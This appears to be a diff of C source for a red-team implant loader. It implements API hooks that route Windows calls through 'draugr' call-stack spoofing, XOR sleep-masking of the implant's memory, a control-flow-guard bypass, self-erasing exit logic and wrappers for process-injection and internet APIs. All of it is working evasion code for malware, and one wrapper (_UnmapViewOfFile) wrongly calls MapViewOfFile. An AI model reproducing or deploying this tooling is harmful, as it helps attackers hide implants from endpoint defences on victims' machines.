LPVOID WINAPI _MapViewOfFile(HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$MapViewOfFile);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(hFileMappingObject);
|
||||
call.args[1] = (ULONG_PTR)(dwDesiredAccess);
|
||||
call.args[2] = (ULONG_PTR)(dwFileOffsetHigh);
|
||||
call.args[3] = (ULONG_PTR)(dwFileOffsetLow);
|
||||
call.args[4] = (ULONG_PTR)(dwNumberOfBytesToMap);
|
||||
|
||||
return (LPVOID)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _UnmapViewOfFile(LPCVOID lpBaseAddress)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$MapViewOfFile);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(lpBaseAddress);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
SIZE_T WINAPI _VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$VirtualQuery);
|
||||
call.argc = 3;
|
||||
call.args[0] = (ULONG_PTR)(lpAddress);
|
||||
call.args[1] = (ULONG_PTR)(lpBuffer);
|
||||
call.args[2] = (ULONG_PTR)(dwLength);
|
||||
|
||||
return (SIZE_T)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$DuplicateHandle);
|
||||
call.argc = 7;
|
||||
call.args[0] = (ULONG_PTR)(hSourceProcessHandle);
|
||||
call.args[1] = (ULONG_PTR)(hSourceHandle);
|
||||
call.args[2] = (ULONG_PTR)(hTargetProcessHandle);
|
||||
call.args[3] = (ULONG_PTR)(lpTargetHandle);
|
||||
call.args[4] = (ULONG_PTR)(dwDesiredAccess);
|
||||
call.args[5] = (ULONG_PTR)(bInheritHandle);
|
||||
call.args[6] = (ULONG_PTR)(dwOptions);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$ReadProcessMemory);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(hProcess);
|
||||
call.args[1] = (ULONG_PTR)(lpBaseAddress);
|
||||
call.args[2] = (ULONG_PTR)(lpBuffer);
|
||||
call.args[3] = (ULONG_PTR)(nSize);
|
||||
call.args[4] = (ULONG_PTR)(lpNumberOfBytesRead);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$WriteProcessMemory);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(hProcess);
|
||||
call.args[1] = (ULONG_PTR)(lpBaseAddress);
|
||||
call.args[2] = (ULONG_PTR)(lpBuffer);
|
||||
call.args[3] = (ULONG_PTR)(nSize);
|
||||
call.args[4] = (ULONG_PTR)(lpNumberOfBytesWritten);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
DECLSPEC_NORETURN VOID WINAPI _ExitThread(DWORD dwExitCode)
|
||||
{
|
||||
/* is cfg enabled? */
|
||||
BOOL cfgEnabled = CfgEnabled();
|
||||
|
||||
if (cfgEnabled) {
|
||||
/* try to bypass it at NtContinue */
|
||||
if (BypassCfg(NTDLL$NtContinue)) {
|
||||
cfgEnabled = FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
if (!cfgEnabled)
|
||||
{
|
||||
CONTEXT ctx;
|
||||
memset(&ctx, 0, sizeof(CONTEXT));
|
||||
|
||||
ctx.ContextFlags = CONTEXT_ALL;
|
||||
|
||||
HANDLE hTimerQueue = NULL;
|
||||
HANDLE hNewTimer = NULL;
|
||||
|
||||
hTimerQueue = KERNEL32$CreateTimerQueue();
|
||||
|
||||
if (KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)(KERNEL32$RtlCaptureContext), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD))
|
||||
{
|
||||
KERNEL32$Sleep(1000);
|
||||
|
||||
if (ctx.Rip != 0)
|
||||
{
|
||||
HANDLE hHeap = KERNEL32$GetProcessHeap();
|
||||
PCONTEXT ctxFree = (PCONTEXT)KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(CONTEXT) * 3);
|
||||
|
||||
for (int i = 0; i < 3; i++) {
|
||||
memcpy(&ctxFree[i], &ctx, sizeof(CONTEXT));
|
||||
}
|
||||
|
||||
ctxFree[0].Rsp -= sizeof(PVOID);
|
||||
ctxFree[0].Rip = (DWORD64)(KERNEL32$VirtualFree);
|
||||
ctxFree[0].Rcx = (DWORD64)(g_layout.dll.baseAddress);
|
||||
ctxFree[0].Rdx = (DWORD64)(0);
|
||||
ctxFree[0].R8 = (DWORD64)(MEM_RELEASE);
|
||||
|
||||
ctxFree[1].Rsp -= sizeof(PVOID);
|
||||
ctxFree[1].Rip = (DWORD64)(KERNEL32$VirtualFree);
|
||||
ctxFree[1].Rcx = (DWORD64)(g_layout.hooks.baseAddress);
|
||||
ctxFree[1].Rdx = (DWORD64)(0);
|
||||
ctxFree[1].R8 = (DWORD64)(MEM_RELEASE);
|
||||
|
||||
ctxFree[2].Rsp -= sizeof(PVOID);
|
||||
ctxFree[2].Rip = (DWORD64)(KERNEL32$VirtualFree);
|
||||
ctxFree[2].Rcx = (DWORD64)(g_layout.pic.baseAddress);
|
||||
ctxFree[2].Rdx = (DWORD64)(0);
|
||||
ctxFree[2].R8 = (DWORD64)(MEM_RELEASE);
|
||||
|
||||
KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)(NTDLL$NtContinue), &ctxFree[0], 500, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)(NTDLL$NtContinue), &ctxFree[1], 500, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
KERNEL32$CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)(NTDLL$NtContinue), &ctxFree[2], 500, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(g_ExitThread);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(dwExitCode);
|
||||
|
||||
draugr(&call);
|
||||
}
|
||||
|
||||
BOOL WINAPI _CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$CreateProcessA);
|
||||
call.argc = 10;
|
||||
call.args[0] = (ULONG_PTR)(lpApplicationName);
|
||||
call.args[1] = (ULONG_PTR)(lpCommandLine);
|
||||
call.args[2] = (ULONG_PTR)(lpProcessAttributes);
|
||||
call.args[3] = (ULONG_PTR)(lpThreadAttributes);
|
||||
call.args[4] = (ULONG_PTR)(bInheritHandles);
|
||||
call.args[5] = (ULONG_PTR)(dwCreationFlags);
|
||||
call.args[6] = (ULONG_PTR)(lpEnvironment);
|
||||
call.args[7] = (ULONG_PTR)(lpCurrentDirectory);
|
||||
call.args[8] = (ULONG_PTR)(lpStartupInfo);
|
||||
call.args[9] = (ULONG_PTR)(lpProcessInformation);
|
||||
|
||||
return (BOOL)draugr(&call);
|
||||
}
|
||||
|
||||
HRESULT _CoCreateInstance(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID * ppv)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(g_CoCreateInstance);
|
||||
call.argc = 5;
|
||||
call.args[0] = (ULONG_PTR)(rclsid);
|
||||
call.args[1] = (ULONG_PTR)(pUnkOuter);
|
||||
call.args[2] = (ULONG_PTR)(dwClsContext);
|
||||
call.args[3] = (ULONG_PTR)(riid);
|
||||
call.args[4] = (ULONG_PTR)(ppv);
|
||||
|
||||
return (HRESULT)draugr(&call);
|
||||
}
|
||||
|
||||
void applyxor(char * data, DWORD len)
|
||||
{
|
||||
for (DWORD x = 0; x < len; x++) {
|
||||
data[x] ^= xorkey[x % 128];
|
||||
}
|
||||
}
|
||||
|
||||
BOOL isWriteable(DWORD protection)
|
||||
{
|
||||
if (protection == PAGE_EXECUTE_READWRITE || protection == PAGE_EXECUTE_WRITECOPY || protection == PAGE_READWRITE || protection == PAGE_WRITECOPY) {
|
||||
return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
void xorsection(MEMORY_SECTION * section, BOOL mask)
|
||||
{
|
||||
if (mask == TRUE && isWriteable(section->currentProtect) == FALSE) {
|
||||
DWORD oldProtect = 0;
|
||||
if (_VirtualProtect(section->baseAddress, section->size, PAGE_READWRITE, &oldProtect)) {
|
||||
section->currentProtect = PAGE_READWRITE;
|
||||
section->previousProtect = oldProtect;
|
||||
}
|
||||
}
|
||||
|
||||
if (isWriteable(section->currentProtect)) {
|
||||
applyxor(section->baseAddress, section->size);
|
||||
}
|
||||
|
||||
if (mask == FALSE && section->currentProtect != section->previousProtect) {
|
||||
DWORD oldProtect;
|
||||
if (_VirtualProtect(section->baseAddress, section->size, section->previousProtect, &oldProtect)) {
|
||||
section->currentProtect = section->previousProtect;
|
||||
section->previousProtect = oldProtect;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void xorregion(MEMORY_REGION * region, BOOL mask)
|
||||
{
|
||||
for (int i = 0; i < 5; i++) {
|
||||
xorsection(®ion->sections[i], mask);
|
||||
}
|
||||
}
|
||||
|
||||
void xormemory(BOOL mask) {
|
||||
xorregion(&g_layout.dll, mask);
|
||||
}
|
||||
|
||||
VOID WINAPI _Sleep(DWORD dwMilliseconds)
|
||||
{
|
||||
/*
|
||||
* only xor and stack spoof if
|
||||
* sleep is >= 1s
|
||||
*/
|
||||
|
||||
if (dwMilliseconds < 1000) {
|
||||
KERNEL32$Sleep(dwMilliseconds);
|
||||
return;
|
||||
}
|
||||
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$Sleep);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(dwMilliseconds);
|
||||
|
||||
xormemory(TRUE);
|
||||
draugr(&call);
|
||||
xormemory(FALSE);
|
||||
}
|
||||
|
||||
HMODULE WINAPI _LoadLibraryA(LPCSTR lpLibFileName)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(LoadLibraryA);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(lpLibFileName);
|
||||
|
||||
return (HMODULE)draugr(&call);
|
||||
}
|
||||
|
||||
char * WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
|
||||
{
|
||||
char * result = (char *)GetProcAddress(hModule, lpProcName);
|
||||
|
||||
/*
|
||||
* Check to see what function is being resolved.
|
||||
* Note that lpProcName may be an ordinal, not a string.
|
||||
*/
|
||||
|
||||
if ((ULONG_PTR)lpProcName >> 16 == 0) {
|
||||
/* it's an ordinal */
|
||||
return result;
|
||||
}
|
||||
|
||||
/* Look at the ones we want to hook */
|
||||
|
||||
/* Calculte function hash */
|
||||
DWORD h = hash((char *)lpProcName);
|
||||
|
||||
if (h == GETPROCADDRESS_HASH) {
|
||||
return (char *)_GetProcAddress;
|
||||
}
|
||||
else if (h == LOADLIBRARYA_HASH) {
|
||||
return (char *)_LoadLibraryA;
|
||||
}
|
||||
else if (h == VIRTUALALLOC_HASH) {
|
||||
return (char *)_VirtualAlloc;
|
||||
}
|
||||
else if (h == VIRTUALALLOCEX_HASH) {
|
||||
return (char *)_VirtualAllocEx;
|
||||
}
|
||||
else if (h == VIRTUALPROTECT_HASH) {
|
||||
return (char *)_VirtualProtect;
|
||||
}
|
||||
else if (h == VIRTUALPROTECTEX_HASH) {
|
||||
return (char *)_VirtualProtectEx;
|
||||
}
|
||||
else if (h == VIRTUALFREE_HASH) {
|
||||
return (char *)_VirtualFree;
|
||||
}
|
||||
else if (h == GETTHREADCONTEXT_HASH) {
|
||||
return (char *)_GetThreadContext;
|
||||
}
|
||||
else if (h == SETTHREADCONTEXT_HASH) {
|
||||
return (char *)_SetThreadContext;
|
||||
}
|
||||
else if (h == INTERNETOPENA_HASH) {
|
||||
g_InternetOpenA = result;
|
||||
return (char *)_InternetOpenA;
|
||||
}
|
||||
else if (h == INTERNETCONNECTA_HASH) {
|
||||
g_InternetConnectA = result;
|
||||
return (char *)_InternetConnectA;
|
||||
}
|
||||
else if (h == RESUMETHREAD_HASH) {
|
||||
return (char *)_ResumeThread;
|
||||
}
|
||||
else if (h == CREATETHREAD_HASH) {
|
||||
return (char *)_CreateThread;
|
||||
}
|
||||
else if (h == CREATEREMOTETHREAD_HASH) {
|
||||
return (char *)_CreateRemoteThread;
|
||||
}
|
||||
else if (h == OPENPROCESS_HASH) {
|
||||
return (char *)_OpenProcess;
|
||||
}
|
||||
else if (h == OPENTHREAD_HASH) {
|
||||
return (char *)_OpenThread;
|
||||
}
|
||||
else if (h == CLOSEHANDLE_HASH) {
|
||||
return (char *)_CloseHandle;
|
||||
}
|
||||
else if (h == CREATEFILEMAPPINGA_HASH) {
|
||||
return (char *)_CreateFileMappingA;
|
||||
}
|
||||
else if (h == MAPVIEWOFFILE_HASH) {
|
||||
return (char *)_MapViewOfFile;
|
||||
}
|
||||
else if (h == UNMAPVIEWOFFILE_HASH) {
|
||||
return (char *)_UnmapViewOfFile;
|
||||
}
|
||||
else if (h == VIRTUALQUERY_HASH) {
|
||||
return (char *)_VirtualQuery;
|
||||
}
|
||||
else if (h == DUPLICATEHANDLE_HASH) {
|
||||
return (char *)_DuplicateHandle;
|
||||
}
|
||||
else if (h == READPROCESSMEMORY_HASH) {
|
||||
return (char *)_ReadProcessMemory;
|
||||
}
|
||||
else if (h == WRITEPROCESSMEMORY_HASH) {
|
||||
return (char *)_WriteProcessMemory;
|
||||
}
|
||||
else if (h == EXITTHREAD_HASH) {
|
||||
g_ExitThread = result;
|
||||
return (char *)_ExitThread;
|
||||
}
|
||||
else if (h == CREATEPROCESSA_HASH) {
|
||||
return (char *)_CreateProcessA;
|
||||
}
|
||||
else if (h == SLEEP_HASH) {
|
||||
return (char *)_Sleep;
|
||||
}
|
||||
else if (h == COCREATEINSTANCE_HASH) {
|
||||
g_CoCreateInstance = result;
|
||||
return (char *)_CoCreateInstance;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
void go(IMPORTFUNCS * funcs, MEMORY_LAYOUT * layout)
|
||||
{
|
||||
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *)_LoadLibraryA;
|
||||
funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress;
|
||||
|
||||
if (layout != NULL) {
|
||||
g_layout = *layout;
|
||||
}
|
||||
|
||||
initFrameInfo();
|
||||
}
|
||||
-422
@@ -1,422 +0,0 @@
|
||||
/*
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include "hash.h"
|
||||
#include "proxy.h"
|
||||
#include "memory.h"
|
||||
|
||||
#define RBP_OP_INFO 0x5
|
||||
#define draugrArg(i) (ULONG_PTR)functionCall->args[i]
|
||||
|
||||
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
|
||||
#define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z);
|
||||
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID, SIZE_T, DWORD, DWORD);
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx (HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx (HANDLE, LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree (LPVOID, SIZE_T, DWORD);
|
||||
DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery (LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext (HANDLE, LPCONTEXT);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext (HANDLE, const CONTEXT *);
|
||||
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread (HANDLE);
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread (LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread (HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess (DWORD, BOOL, DWORD);
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread (DWORD, BOOL, DWORD);
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread (DWORD);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE);
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep (DWORD);
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA (HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR);
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile (HANDLE, DWORD, DWORD, DWORD, SIZE_T);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile (LPCVOID);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle (HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory (HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T *);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory (HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T *);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA (LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
|
||||
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA (LPCSTR);
|
||||
DECLSPEC_IMPORT PRUNTIME_FUNCTION WINAPI KERNEL32$RtlLookupFunctionEntry (DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE);
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ();
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer (PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG);
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext (PCONTEXT);
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ();
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc (HANDLE, DWORD, SIZE_T);
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx (PULONG);
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue (PCONTEXT, BOOLEAN);
|
||||
|
||||
/* the proxy pic */
|
||||
DECLSPEC_IMPORT PVOID SpoofStub(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID);
|
||||
|
||||
// God Bless Vulcan Raven.
|
||||
typedef struct _STACK_FRAME {
|
||||
LPCWSTR DllPath;
|
||||
ULONG Offset;
|
||||
ULONGLONG TotalStackSize;
|
||||
BOOL RequiresLoadLibrary;
|
||||
BOOL SetsFramePointer;
|
||||
PVOID ReturnAddress;
|
||||
BOOL PushRbp;
|
||||
ULONG CountOfCodes;
|
||||
BOOL PushRbpIndex;
|
||||
} STACK_FRAME, * PSTACK_FRAME;
|
||||
|
||||
typedef enum _UNWIND_OP_CODES {
|
||||
UWOP_PUSH_NONVOL = 0,
|
||||
UWOP_ALLOC_LARGE,
|
||||
UWOP_ALLOC_SMALL,
|
||||
UWOP_SET_FPREG,
|
||||
UWOP_SAVE_NONVOL,
|
||||
UWOP_SAVE_NONVOL_FAR,
|
||||
UWOP_SAVE_XMM128 = 8,
|
||||
UWOP_SAVE_XMM128_FAR,
|
||||
UWOP_PUSH_MACHFRAME
|
||||
} UNWIND_CODE_OPS;
|
||||
|
||||
typedef unsigned char UBYTE;
|
||||
|
||||
typedef union _UNWIND_CODE {
|
||||
struct {
|
||||
UBYTE CodeOffset;
|
||||
UBYTE UnwindOp : 4;
|
||||
UBYTE OpInfo : 4;
|
||||
};
|
||||
USHORT FrameOffset;
|
||||
} UNWIND_CODE, *PUNWIND_CODE;
|
||||
|
||||
typedef struct _UNWIND_INFO {
|
||||
UBYTE Version : 3;
|
||||
UBYTE Flags : 5;
|
||||
UBYTE SizeOfProlog;
|
||||
UBYTE CountOfCodes;
|
||||
UBYTE FrameRegister : 4;
|
||||
UBYTE FrameOffset : 4;
|
||||
UNWIND_CODE UnwindCode[1];
|
||||
} UNWIND_INFO, *PUNWIND_INFO;
|
||||
|
||||
typedef struct _FRAME_INFO {
|
||||
PVOID ModuleAddress;
|
||||
PVOID FunctionAddress;
|
||||
DWORD Offset;
|
||||
} FRAME_INFO, * PFRAME_INFO;
|
||||
|
||||
typedef struct _SYNTHETIC_STACK_FRAME {
|
||||
FRAME_INFO Frame1;
|
||||
FRAME_INFO Frame2;
|
||||
PVOID pGadget;
|
||||
} SYNTHETIC_STACK_FRAME, * PSYNTHETIC_STACK_FRAME;
|
||||
|
||||
typedef struct {
|
||||
PVOID function;
|
||||
int argc;
|
||||
ULONG_PTR args[10];
|
||||
} FUNCTION_CALL, * PFUNCTION_CALL;
|
||||
|
||||
typedef struct _DRAUGR_FUNCTION_CALL {
|
||||
PFUNCTION_CALL FunctionCall;
|
||||
PVOID StackFrame;
|
||||
PVOID SpoofCall;
|
||||
} DRAUGR_FUNCTION_CALL, *PDRAUGR_FUNCTION_CALL;
|
||||
|
||||
SYNTHETIC_STACK_FRAME g_stackFrame;
|
||||
|
||||
void initFrameInfo()
|
||||
{
|
||||
PVOID pModuleFrame1 = KERNEL32$GetModuleHandleA("kernel32.dll");
|
||||
PVOID pModuleFrame2 = KERNEL32$GetModuleHandleA("ntdll.dll");
|
||||
|
||||
g_stackFrame.Frame1.ModuleAddress = pModuleFrame1;
|
||||
g_stackFrame.Frame1.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame1, "BaseThreadInitThunk");
|
||||
g_stackFrame.Frame1.Offset = 0x17;
|
||||
|
||||
g_stackFrame.Frame2.ModuleAddress = pModuleFrame2;
|
||||
g_stackFrame.Frame2.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame2, "RtlUserThreadStart");
|
||||
g_stackFrame.Frame2.Offset = 0x2c;
|
||||
|
||||
g_stackFrame.pGadget = KERNEL32$GetModuleHandleA("KernelBase.dll");
|
||||
}
|
||||
|
||||
BOOL getTextSectionSize(PVOID pModule, PDWORD pdwVirtualAddress, PDWORD pdwSize)
|
||||
{
|
||||
PIMAGE_DOS_HEADER pImgDosHeader = (PIMAGE_DOS_HEADER)(pModule);
|
||||
|
||||
if (pImgDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PIMAGE_NT_HEADERS pImgNtHeaders = (PIMAGE_NT_HEADERS)((UINT_PTR)pModule + pImgDosHeader->e_lfanew);
|
||||
|
||||
if (pImgNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PIMAGE_SECTION_HEADER pImgSectionHeader = IMAGE_FIRST_SECTION(pImgNtHeaders);
|
||||
|
||||
for (int i = 0; i < pImgNtHeaders->FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
DWORD h = hash((char*)pImgSectionHeader[i].Name);
|
||||
if (h == TEXT_HASH)
|
||||
{
|
||||
*pdwVirtualAddress = pImgSectionHeader[i].VirtualAddress;
|
||||
*pdwSize = pImgSectionHeader[i].SizeOfRawData;
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PVOID calculateFunctionStackSize(PRUNTIME_FUNCTION pRuntimeFunction, const DWORD64 imageBase)
|
||||
{
|
||||
PUNWIND_INFO pUnwindInfo = NULL;
|
||||
ULONG unwindOperation = 0;
|
||||
ULONG operationInfo = 0;
|
||||
ULONG index = 0;
|
||||
ULONG frameOffset = 0;
|
||||
|
||||
STACK_FRAME stackFrame;
|
||||
memset(&stackFrame, 0, sizeof(stackFrame));
|
||||
|
||||
if (!pRuntimeFunction) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pUnwindInfo = (PUNWIND_INFO)(pRuntimeFunction->UnwindData + imageBase);
|
||||
|
||||
while (index < pUnwindInfo->CountOfCodes)
|
||||
{
|
||||
unwindOperation = pUnwindInfo->UnwindCode[index].UnwindOp;
|
||||
